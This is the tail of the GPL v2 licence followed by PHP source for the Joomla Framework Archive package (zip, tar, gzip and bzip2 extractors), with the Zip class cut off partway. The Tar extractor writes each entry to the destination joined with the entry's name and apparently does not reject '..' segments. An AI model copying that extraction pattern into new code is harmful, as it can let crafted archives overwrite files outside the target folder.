	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive;

use Joomla\Archive\Exception\UnknownArchiveException;
use Joomla\Archive\Exception\UnsupportedArchiveException;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;

/**
 * An Archive handling class
 *
 * @since  1.0
 */
class Archive
{
	/**
	 * The array of instantiated archive adapters.
	 *
	 * @var    ExtractableInterface[]
	 * @since  1.0
	 */
	protected $adapters = array();

	/**
	 * Holds the options array.
	 *
	 * @var    array|\ArrayAccess
	 * @since  1.0
	 */
	public $options = array();

	/**
	 * Create a new Archive object.
	 *
	 * @param   array|\ArrayAccess  $options  An array of options
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($options = array())
	{
		if (!\is_array($options) && !($options instanceof \ArrayAccess))
		{
			throw new \InvalidArgumentException(
				'The options param must be an array or implement the ArrayAccess
interface.'
			);
		}

		// Make sure we have a tmp directory.
		isset($options['tmp_path']) || $options['tmp_path'] =
realpath(sys_get_temp_dir());

		$this->options = $options;
	}

	/**
	 * Extract an archive file to a directory.
	 *
	 * @param   string  $archivename  The name of the archive file
	 * @param   string  $extractdir   Directory to unpack into
	 *
	 * @return  boolean  True for success
	 *
	 * @since   1.0
	 * @throws  UnknownArchiveException if the archive type is not supported
	 */
	public function extract($archivename, $extractdir)
	{
		$ext      = pathinfo($archivename, \PATHINFO_EXTENSION);
		$path     = pathinfo($archivename, \PATHINFO_DIRNAME);
		$filename = pathinfo($archivename, \PATHINFO_FILENAME);

		switch (strtolower($ext))
		{
			case 'zip':
				$result =
$this->getAdapter('zip')->extract($archivename,
$extractdir);

				break;

			case 'tar':
				$result =
$this->getAdapter('tar')->extract($archivename,
$extractdir);

				break;

			case 'tgz':
			case 'gz':
			case 'gzip':
				// This may just be an individual file (e.g. sql script)
				$tmpfname = $this->options['tmp_path'] . '/' .
uniqid('gzip');

				try
				{
					$this->getAdapter('gzip')->extract($archivename,
$tmpfname);
				}
				catch (\RuntimeException $exception)
				{
					@unlink($tmpfname);

					return false;
				}

				if ($ext === 'tgz' || stripos($filename, '.tar')
!== false)
				{
					$result = $this->getAdapter('tar')->extract($tmpfname,
$extractdir);
				}
				else
				{
					Folder::create($extractdir);
					$result = File::copy($tmpfname, $extractdir . '/' .
$filename, null, 0);
				}

				@unlink($tmpfname);

				break;

			case 'tbz2':
			case 'bz2':
			case 'bzip2':
				// This may just be an individual file (e.g. sql script)
				$tmpfname = $this->options['tmp_path'] . '/' .
uniqid('bzip2');

				try
				{
					$this->getAdapter('bzip2')->extract($archivename,
$tmpfname);
				}
				catch (\RuntimeException $exception)
				{
					@unlink($tmpfname);

					return false;
				}

				if ($ext === 'tbz2' || stripos($filename, '.tar')
!== false)
				{
					$result = $this->getAdapter('tar')->extract($tmpfname,
$extractdir);
				}
				else
				{
					Folder::create($extractdir);
					$result = File::copy($tmpfname, $extractdir . '/' .
$filename, null, 0);
				}

				@unlink($tmpfname);

				break;

			default:
				throw new UnknownArchiveException(sprintf('Unknown archive type:
%s', $ext));
		}

		return $result;
	}

	/**
	 * Method to override the provided adapter with your own implementation.
	 *
	 * @param   string   $type      Name of the adapter to set.
	 * @param   string   $class     FQCN of your class which implements
ExtractableInterface.
	 * @param   boolean  $override  True to force override the adapter type.
	 *
	 * @return  Archive  This object for chaining.
	 *
	 * @since   1.0
	 * @throws  UnsupportedArchiveException if the adapter type is not
supported
	 */
	public function setAdapter($type, $class, $override = true)
	{
		if ($override || !isset($this->adapters[$type]))
		{
			$error = !\is_object($class) && !class_exists($class)
					? 'Archive adapter "%s" (class "%s") not
found.'
					: '';

			$error = $error == '' && !($class instanceof
ExtractableInterface)
					? 'The provided adapter "%s" (class "%s")
must implement Joomla\\Archive\\ExtractableInterface'
					: $error;

			$error = $error == '' && !$class::isSupported()
					? 'Archive adapter "%s" (class "%s") not
supported.'
					: $error;

			if ($error != '')
			{
				throw new UnsupportedArchiveException(
					sprintf($error, $type, $class)
				);
			}

			$this->adapters[$type] = new $class($this->options);
		}

		return $this;
	}

	/**
	 * Get a file compression adapter.
	 *
	 * @param   string  $type  The type of adapter (bzip2|gzip|tar|zip).
	 *
	 * @return  ExtractableInterface  Adapter for the requested type
	 *
	 * @since   1.0
	 * @throws  UnsupportedArchiveException
	 */
	public function getAdapter($type)
	{
		$type = strtolower($type);

		if (!isset($this->adapters[$type]))
		{
			// Try to load the adapter object
			/** @var ExtractableInterface $class */
			$class = 'Joomla\\Archive\\' . ucfirst($type);

			if (!class_exists($class) || !$class::isSupported())
			{
				throw new UnsupportedArchiveException(
					sprintf(
						'Archive adapter "%s" (class "%s") not found
or supported.',
						$type,
						$class
					)
				);
			}

			$this->adapters[$type] = new $class($this->options);
		}

		return $this->adapters[$type];
	}
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive;

use Joomla\Filesystem\File;
use Joomla\Filesystem\Stream;

/**
 * Bzip2 format adapter for the Archive package
 *
 * @since  1.0
 */
class Bzip2 implements ExtractableInterface
{
	/**
	 * Bzip2 file data buffer
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $data;

	/**
	 * Holds the options array.
	 *
	 * @var    array|\ArrayAccess
	 * @since  1.0
	 */
	protected $options = array();

	/**
	 * Create a new Archive object.
	 *
	 * @param   array|\ArrayAccess  $options  An array of options
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($options = array())
	{
		if (!\is_array($options) && !($options instanceof \ArrayAccess))
		{
			throw new \InvalidArgumentException(
				'The options param must be an array or implement the ArrayAccess
interface.'
			);
		}

		$this->options = $options;
	}

	/**
	 * Extract a Bzip2 compressed file to a given path
	 *
	 * @param   string  $archive      Path to Bzip2 archive to extract
	 * @param   string  $destination  Path to extract archive to
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function extract($archive, $destination)
	{
		$this->data = null;

		if (!isset($this->options['use_streams']) ||
$this->options['use_streams'] == false)
		{
			// Old style: read the whole file and then parse it
			$this->data = file_get_contents($archive);

			if (!$this->data)
			{
				throw new \RuntimeException('Unable to read archive');
			}

			$buffer = bzdecompress($this->data);
			unset($this->data);

			if (empty($buffer))
			{
				throw new \RuntimeException('Unable to decompress data');
			}

			if (!File::write($destination, $buffer))
			{
				throw new \RuntimeException('Unable to write archive to file
' . $destination);
			}
		}
		else
		{
			// New style! streams!
			$input = Stream::getStream();

			// Use bzip
			$input->set('processingmethod', 'bz');

			if (!$input->open($archive))
			{
				throw new \RuntimeException('Unable to read archive');
			}

			$output = Stream::getStream();

			if (!$output->open($destination, 'w'))
			{
				$input->close();

				throw new \RuntimeException('Unable to open file "' .
$destination . '" for writing');
			}

			do
			{
				$this->data = $input->read($input->get('chunksize',
8196));

				if ($this->data)
				{
					if (!$output->write($this->data))
					{
						$input->close();

						throw new \RuntimeException('Unable to write archive to file
' . $destination);
					}
				}
			}
			while ($this->data);

			$output->close();
			$input->close();
		}

		return true;
	}

	/**
	 * Tests whether this adapter can unpack files on this computer.
	 *
	 * @return  boolean  True if supported
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('bz2');
	}
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive\Exception;

/**
 * Exception class defining an unknown archive type
 *
 * @since  1.1.7
 */
class UnknownArchiveException extends \InvalidArgumentException
{
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive\Exception;

/**
 * Exception class defining an unsupported archive adapter
 *
 * @since  1.1.7
 */
class UnsupportedArchiveException extends \InvalidArgumentException
{
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive;

/**
 * Archive class interface
 *
 * @since  1.0
 */
interface ExtractableInterface
{
	/**
	 * Extract a compressed file to a given path
	 *
	 * @param   string  $archive      Path to archive to extract
	 * @param   string  $destination  Path to extract archive to
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function extract($archive, $destination);

	/**
	 * Tests whether this adapter can unpack files on this computer.
	 *
	 * @return  boolean  True if supported
	 *
	 * @since   1.0
	 */
	public static function isSupported();
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive;

use Joomla\Filesystem\File;
use Joomla\Filesystem\Stream;

/**
 * Gzip format adapter for the Archive package
 *
 * This class is inspired from and draws heavily in code and concept from
the Compress package of
 * The Horde Project <http://www.horde.org>
 *
 * @contributor  Michael Slusarz <slusarz@horde.org>
 * @contributor  Michael Cochrane <mike@graftonhall.co.nz>
 *
 * @since  1.0
 */
class Gzip implements ExtractableInterface
{
	/**
	 * Gzip file flags.
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $flags = array('FTEXT' => 0x01, 'FHCRC'
=> 0x02, 'FEXTRA' => 0x04, 'FNAME' => 0x08,
'FCOMMENT' => 0x10);

	/**
	 * Gzip file data buffer
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $data;

	/**
	 * Holds the options array.
	 *
	 * @var    array|\ArrayAccess
	 * @since  1.0
	 */
	protected $options = array();

	/**
	 * Create a new Archive object.
	 *
	 * @param   array|\ArrayAccess  $options  An array of options
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($options = array())
	{
		if (!\is_array($options) && !($options instanceof \ArrayAccess))
		{
			throw new \InvalidArgumentException(
				'The options param must be an array or implement the ArrayAccess
interface.'
			);
		}

		$this->options = $options;
	}

	/**
	 * Extract a Gzip compressed file to a given path
	 *
	 * @param   string  $archive      Path to ZIP archive to extract
	 * @param   string  $destination  Path to extract archive to
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function extract($archive, $destination)
	{
		$this->data = null;

		if (!isset($this->options['use_streams']) ||
$this->options['use_streams'] == false)
		{
			$this->data = file_get_contents($archive);

			if (!$this->data)
			{
				throw new \RuntimeException('Unable to read archive');
			}

			$position = $this->getFilePosition();
			$buffer   = gzinflate(substr($this->data, $position,
\strlen($this->data) - $position));

			if (empty($buffer))
			{
				throw new \RuntimeException('Unable to decompress data');
			}

			if (!File::write($destination, $buffer))
			{
				throw new \RuntimeException('Unable to write archive to file
' . $destination);
			}
		}
		else
		{
			// New style! streams!
			$input = Stream::getStream();

			// Use gz
			$input->set('processingmethod', 'gz');

			if (!$input->open($archive))
			{
				throw new \RuntimeException('Unable to read archive');
			}

			$output = Stream::getStream();

			if (!$output->open($destination, 'w'))
			{
				$input->close();

				throw new \RuntimeException('Unable to open file "' .
$destination . '" for writing');
			}

			do
			{
				$this->data = $input->read($input->get('chunksize',
8196));

				if ($this->data)
				{
					if (!$output->write($this->data))
					{
						$input->close();

						throw new \RuntimeException('Unable to write archive to file
' . $destination);
					}
				}
			}
			while ($this->data);

			$output->close();
			$input->close();
		}

		return true;
	}

	/**
	 * Tests whether this adapter can unpack files on this computer.
	 *
	 * @return  boolean  True if supported
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('zlib');
	}

	/**
	 * Get file data offset for archive
	 *
	 * @return  integer  Data position marker for archive
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function getFilePosition()
	{
		// Gzipped file... unpack it first
		$position = 0;
		$info     = @ unpack('CCM/CFLG/VTime/CXFL/COS',
substr($this->data, $position + 2));

		if (!$info)
		{
			throw new \RuntimeException('Unable to decompress data.');
		}

		$position += 10;

		if ($info['FLG'] & $this->flags['FEXTRA'])
		{
			$XLEN = unpack('vLength', substr($this->data, $position +
0, 2));
			$XLEN = $XLEN['Length'];
			$position += $XLEN + 2;
		}

		if ($info['FLG'] & $this->flags['FNAME'])
		{
			$filenamePos = strpos($this->data, "\x0", $position);
			$position    = $filenamePos + 1;
		}

		if ($info['FLG'] & $this->flags['FCOMMENT'])
		{
			$commentPos = strpos($this->data, "\x0", $position);
			$position   = $commentPos + 1;
		}

		if ($info['FLG'] & $this->flags['FHCRC'])
		{
			$hcrc = unpack('vCRC', substr($this->data, $position + 0,
2));
			$hcrc = $hcrc['CRC'];
			$position += 2;
		}

		return $position;
	}
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive;

use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;

/**
 * Tar format adapter for the Archive package
 *
 * This class is inspired from and draws heavily in code and concept from
the Compress package of
 * The Horde Project <http://www.horde.org>
 *
 * @contributor  Michael Slusarz <slusarz@horde.org>
 * @contributor  Michael Cochrane <mike@graftonhall.co.nz>
 *
 * @since  1.0
 */
class Tar implements ExtractableInterface
{
	/**
	 * Tar file types.
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $types = array(
		0x0  => 'Unix file',
		0x30 => 'File',
		0x31 => 'Link',
		0x32 => 'Symbolic link',
		0x33 => 'Character special file',
		0x34 => 'Block special file',
		0x35 => 'Directory',
		0x36 => 'FIFO special file',
		0x37 => 'Contiguous file',
	);

	/**
	 * Tar file data buffer
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $data;

	/**
	 * Tar file metadata array
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $metadata;

	/**
	 * Holds the options array.
	 *
	 * @var    array|\ArrayAccess
	 * @since  1.0
	 */
	protected $options = array();

	/**
	 * Create a new Archive object.
	 *
	 * @param   array|\ArrayAccess  $options  An array of options or an object
that implements \ArrayAccess
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($options = array())
	{
		if (!\is_array($options) && !($options instanceof \ArrayAccess))
		{
			throw new \InvalidArgumentException(
				'The options param must be an array or implement the ArrayAccess
interface.'
			);
		}

		$this->options = $options;
	}

	/**
	 * Extract a ZIP compressed file to a given path
	 *
	 * @param   string  $archive      Path to ZIP archive to extract
	 * @param   string  $destination  Path to extract archive into
	 *
	 * @return  boolean True if successful
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function extract($archive, $destination)
	{
		$this->data     = null;
		$this->metadata = null;

		$this->data = file_get_contents($archive);

		if (!$this->data)
		{
			throw new \RuntimeException('Unable to read archive');
		}

		$this->getTarInfo($this->data);

		for ($i = 0, $n = \count($this->metadata); $i < $n; $i++)
		{
			$type = strtolower($this->metadata[$i]['type']);

			if ($type == 'file' || $type == 'unix file')
			{
				$buffer = $this->metadata[$i]['data'];
				$path   = Path::clean($destination . '/' .
$this->metadata[$i]['name']);

				// Make sure the destination folder exists
				if (!Folder::create(\dirname($path)))
				{
					throw new \RuntimeException('Unable to create destination folder
' . \dirname($path));
				}

				if (!File::write($path, $buffer))
				{
					throw new \RuntimeException('Unable to write entry to file '
. $path);
				}
			}
		}

		return true;
	}

	/**
	 * Tests whether this adapter can unpack files on this computer.
	 *
	 * @return  boolean  True if supported
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return true;
	}

	/**
	 * Get the list of files/data from a Tar archive buffer.
	 *
	 * @param   string  $data  The Tar archive buffer.
	 *
	 * @return  array  Archive metadata array
	 * <pre>
	 * KEY: Position in the array
	 * VALUES: 'attr'  --  File attributes
	 * 'data'  --  Raw file contents
	 * 'date'  --  File modification time
	 * 'name'  --  Filename
	 * 'size'  --  Original file size
	 * 'type'  --  File type
	 * </pre>
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function getTarInfo(&$data)
	{
		$position    = 0;
		$returnArray = array();

		while ($position < \strlen($data))
		{
			if (version_compare(\PHP_VERSION, '5.5', '>='))
			{
				$info = @unpack(
					'Z100filename/Z8mode/Z8uid/Z8gid/Z12size/Z12mtime/Z8checksum/Ctypeflag/Z100link/Z6magic/Z2version/Z32uname/Z32gname/Z8devmajor/Z8devminor',
					substr($data, $position)
				);
			}
			else
			{
				$info = @unpack(
					'a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/Ctypeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
					substr($data, $position)
				);
			}

			/*
			 * This variable has been set in the previous loop, meaning that the
filename was present in the previous block
			 * to allow more than 100 characters - see below
			 */
			if (isset($longlinkfilename))
			{
				$info['filename'] = $longlinkfilename;
				unset($longlinkfilename);
			}

			if (!$info)
			{
				throw new \RuntimeException('Unable to decompress data');
			}

			$position += 512;
			$contents = substr($data, $position, octdec($info['size']));
			$position += ceil(octdec($info['size']) / 512) * 512;

			if ($info['filename'])
			{
				$file = array(
					'attr' => null,
					'data' => null,
					'date' => octdec($info['mtime']),
					'name' => trim($info['filename']),
					'size' => octdec($info['size']),
					'type' =>
isset($this->types[$info['typeflag']]) ?
$this->types[$info['typeflag']] : null,
				);

				if (($info['typeflag'] == 0) || ($info['typeflag']
== 0x30) || ($info['typeflag'] == 0x35))
				{
					// File or folder.
					$file['data'] = $contents;

					$mode         = hexdec(substr($info['mode'], 4, 3));
					$file['attr'] = (($info['typeflag'] == 0x35) ?
'd' : '-')
						. (($mode & 0x400) ? 'r' : '-')
						. (($mode & 0x200) ? 'w' : '-')
						. (($mode & 0x100) ? 'x' : '-')
						. (($mode & 0x040) ? 'r' : '-')
						. (($mode & 0x020) ? 'w' : '-')
						. (($mode & 0x010) ? 'x' : '-')
						. (($mode & 0x004) ? 'r' : '-')
						. (($mode & 0x002) ? 'w' : '-')
						. (($mode & 0x001) ? 'x' : '-');
				}
				elseif (\chr($info['typeflag']) == 'L' &&
$info['filename'] == '././@LongLink')
				{
					// GNU tar ././@LongLink support - the filename is actually in the
contents, set a variable here so we can test in the next loop
					$longlinkfilename = $contents;

					// And the file contents are in the next block so we'll need to
skip this
					continue;
				}

				$returnArray[] = $file;
			}
		}

		$this->metadata = $returnArray;

		return true;
	}
}
<?php
/**
 * Part of the Joomla Framework Archive Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Archive;

use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;

/**
 * ZIP format adapter for the Archive package
 *
 * The ZIP compression code is partially based on code from:
 * Eric Mueller <eric@themepark.com>
 * http://www.zend.com/codex.php?id=535&single=1
 *
 * Deins125 <webmaster@atlant.ru>
 * http://www.zend.com/codex.php?id=470&single=1
 *
 * The ZIP compression date code is partially based on code from
 * Peter Listiak <mlady@users.sourceforge.net>
 *
 * This class is inspired from and draws heavily in code and concept from
the Compress package of
 * The Horde Project <http://www.horde.org>
 *
 * @contributor  Chuck Hagenbuch <chuck@horde.org>
 * @contributor  Michael Slusarz <slusarz@horde.org>
 * @contributor  Michael Cochrane <mike@graftonhall.co.nz>
 *
 * @since  1.0
 */
class Zip implements ExtractableInterface
{
	/**
	 * ZIP compression methods.
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $methods = array(
		0x0 => 'None',
		0x1 => 'Shrunk',
		0x2 => 'Super Fast',
		0x3 => 'Fast',
		0x4 => 'Normal',
		0x5 => 'Maximum',
		0x6 => 'Imploded',
		0x8 => 'Deflated',
	);

	/**
	 * Beginning of central directory record.
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $ctrlDirHeader = "\x50\x4b\x01\x02";

	/**
	 * End of central directory record.
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $ctrlDirEnd = "\x50\x4b\x05\x06\x00\x00\x00\x00";

	/**
	 * Beginning of file contents.
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $fileHeader = "\x50\x4b\x03\x04";

	/**
	 * ZIP file data buffer
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $data;

	/**
	 * ZIP file metadata array
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $metadata;

	/**
	 * Holds the options array.
	 *
	 * @var    array|\ArrayAccess
	 * @since  1.0
	 */
	protected $options = array();

	/**
	 * Create a new Archive object.
	 *
	 * @param   array|\ArrayAccess  $options  An array of options or an object
that implements \ArrayAccess
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($options = array())
	{
		if (!\is_array($options) && !($options instanceof \ArrayAccess))
		{
			throw new \InvalidArgumentException(
				'The options param must be an array or implement the ArrayAccess
interface.'
			);
		}

		$this->options = $options;
	}

	/**
	 * Create a ZIP compressed file from an array of file data.
	 *
	 * @param   string  $archive  Path to save archive.
	 * @param   array   $files    Array of files to add to archive.
	 *
	 * @return  boolean  True if successful.
	 *
	 * @since   1.0
	 * @todo    Finish Implementation
	 */
	public function create($archive, $files)
	{
		$contents = array();
		$ctrldir  = array();

		foreach ($files as $file)
		{
			$this->addToZipFile($file, $contents, $ctrldir);
		}

		return $this->createZipFile($contents, $ctrldir, $archive);
	}

	/**
	 * Extract a ZIP compressed file to a given path
	 *
	 * @param   string  $archive      Path to ZIP archive to extract
	 * @param   string  $destination  Path to extract archive into
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function extract($archive, $destination)
	{
		if (!is_file($archive))
		{
			throw new \RuntimeException('Archive does not exist at ' .
$archive);
		}

		if (static::hasNativeSupport())
		{
			return $this->extractNative($archive, $destination);
		}

		return $this->extractCustom($archive, $destination);
	}

	/**
	 * Tests whether this adapter can unpack files on this computer.
	 *
	 * @return  boolean  True if supported
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return self::hasNativeSupport() || \extension_loaded('zlib');
	}

	/**
	 * Method to determine if the server has native zip support for faster
handling
	 *
	 * @return  boolean  True if php has native ZIP support
	 *
	 * @since   1.0
	 */
	public static function hasNativeSupport()
	{
		return \extension_loaded('zip');
	}

	/**
	 * Checks to see if the data is a valid ZIP file.
	 *
	 * @param   string  $data  ZIP archive data buffer.
	 *
	 * @return  boolean  True if valid, false if invalid.
	 *
	 * @since   1.0
	 */
